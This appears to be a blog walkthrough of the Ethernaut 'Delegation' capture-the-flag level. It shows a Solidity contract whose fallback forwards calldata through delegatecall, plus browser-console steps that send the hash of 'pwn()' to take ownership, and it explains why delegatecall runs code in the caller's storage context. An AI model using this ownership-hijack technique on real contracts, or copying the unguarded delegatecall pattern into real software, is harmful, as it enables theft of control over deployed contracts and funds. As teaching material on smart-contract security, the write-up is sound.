Problem statement
The goal of this level is for you to claim ownership of the instance you are given.
Things that might help
- Look into Solidity's documentation on the
delegatecalllow level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope. - Fallback methods
- Method ids
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
Solution
Start with creating a new contract for the current level by clicking on the button, Get new instance. Remember to have enough eth in the connected wallet and that it's connected to the Sepolia network.
Open up the developer tool in your browser (F12) and create a data payload variable.
const payload = web3.utils.keccak256("pwn()")
Send that payload to the contracts fallback function.
await contract.sendTransaction({data: payload})
Control that you are the owner of the contract.
(await contract.owner()) === player
If true, then finish up the challenge by clicking on the button, Submit instance, to commit and update the progress on the ethernaut contract.
Explanation
The name of the challenge gives away where the vulnerability may be located, delegatecall.
We want to update the state of the owner of the Delegation contract to our address.
There are no code in the Delegation contract that updates the owner state.
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
What we can see though is that there is a call to an other contract, and that has always a potential to be dangerous.
(bool result,) = address(delegate).delegatecall(msg.data);
As we can see in the Delegate contract there is at least code there for changing the owner, the function pwn.
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
It happens to be the case that the low level function delegatecall works in ways that might not be obvious at first glance.
delegatecall is a "blind" call to a function on a contract and it's all given by the payload. We are using the library web3 to construct our payload which is based on the function name we want to call on the Delegate contract.
const payload = web3.utils.keccak256("pwn()")
// payload = 0xdd365b8b15d5d78ec041b851b68c8b985bee78bee0b87c4acf261024d8beabab
All we need is to send the hash of the function name with the sendTransaction call.
await contract.sendTransaction({data: payload})
The delegatecall will then make a call to the pwn() function on the Delegate contract, and here is the magic. The delegatecall will not change the context it is executed in, it runs the code of Delegate inside the context of the Delegation contract.
Since both contracts has the address public owner state it will result that the pwn function will update the Delegation.owner variable instead. So when the transactions has been confirmed then the owner has been updated on the Delegation contract, and we reached our goal!
The take away from the level author says it all.
Resources
- Delegation - This challenge
- Remix - Web based IDE for Solidity
- Solidity - Solidity documentation
- The Parity Wallet Hack Explained - The link in the take away above

Top comments (0)